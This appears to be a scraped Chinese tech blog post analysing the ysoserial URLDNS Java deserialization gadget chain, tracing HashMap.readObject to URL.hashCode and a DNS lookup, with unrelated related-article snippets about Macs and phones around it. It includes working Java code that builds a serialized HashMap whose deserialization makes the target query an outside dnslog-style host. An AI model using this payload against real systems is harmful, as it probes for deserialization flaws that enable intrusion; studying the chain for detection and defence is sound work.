<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
在分析URLDNS之前,必須瞭解JAVA序列化和反序列化的基本概念。
其中幾個重要的概念:
需要讓某個物件支援序列化機制,就必須讓其類是可序列化,為了讓某類可序列化的,該類就必須實現如下兩個介面之一:
Serializable:標記介面,沒有方法
Externalizable:該介面有方法需要實現,一般不用這種
序列化物件時,預設將裡面所有屬性都進行序列化,但除了static或transient修飾的成員。
序列化具備可繼承性,也就是如果某類已經實現了序列化,則它的所有子類也已經預設實現了序列化。
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常會在類中重寫該方法,為實現反序列化的時候自動執行。
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { Urldns urldns = new Urldns(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\urldns.txt")); objectOutputStream.writeObject(urldns); } public void run(){ System.out.println("urldns run"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { System.out.println("urldns readObject"); s.defaultReadObject(); } }
對這個測試類Urldns做序列化後,反序列化的時候執行了重寫的readobject方法。
import java.io.*; public class Serializable_run implements Serializable{ public void run(ObjectInputStream s) throws IOException, ClassNotFoundException { s.readObject(); } public static void main(String[] args) throws Exception { Serializable_run serializable_run = new Serializable_run(); serializable_run.run(new ObjectInputStream(new FileInputStream("d:\urldns.txt"))); } }
所以只要對readobject方法做重寫就可以實現在反序列化該類的時候得到執行。
利用鏈的思路大致如此,那麼分析URLDNS的利用鏈。
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
該類實際返回HashMap型別,但是HashMap用來用來儲存資料的陣列是transient,序列化時忽略資料。
因為HashMap重寫了writeobject方法,在writeobject實現了對資料的序列化。
還存在重寫readobject方法,那麼分析readobject中的內容。
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
觸發:
putVal(hash(key), key, value, false, false);
觸發:
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
這裡的key物件如果是URL物件,那麼就
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
在hashCode=-1的時候,可以觸發DNS請求,而hashCode私有屬性預設值為-1。
所以為了實現readobject方法的DNS請求,接下來要做的是:
1、製造一個HashMap物件,且key值為URL物件;
2、保持私有屬性hashcode為-1;
所以構造DNS請求的HashMap物件內容應該是:
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz"); Class<?> aClass = Class.forName("java.net.URL"); Field hashCode = aClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url, "xzjhlk"); hashCode.set(url,-1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\urldns.txt")); objectOutputStream.writeObject(map); } }
至於為什麼在序列化的時候要通過反射將url物件中的hashCode屬性稍微非-1,是因為hashCode的put方法也實際呼叫的是putVal(hash(key), key, value, false, true);
這個過程將觸發一次DNS請求。
以上就是java 安全ysoserial URLDNS利用鏈分析的詳細內容,更多關於java 安全 ysoserial URLDNS的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45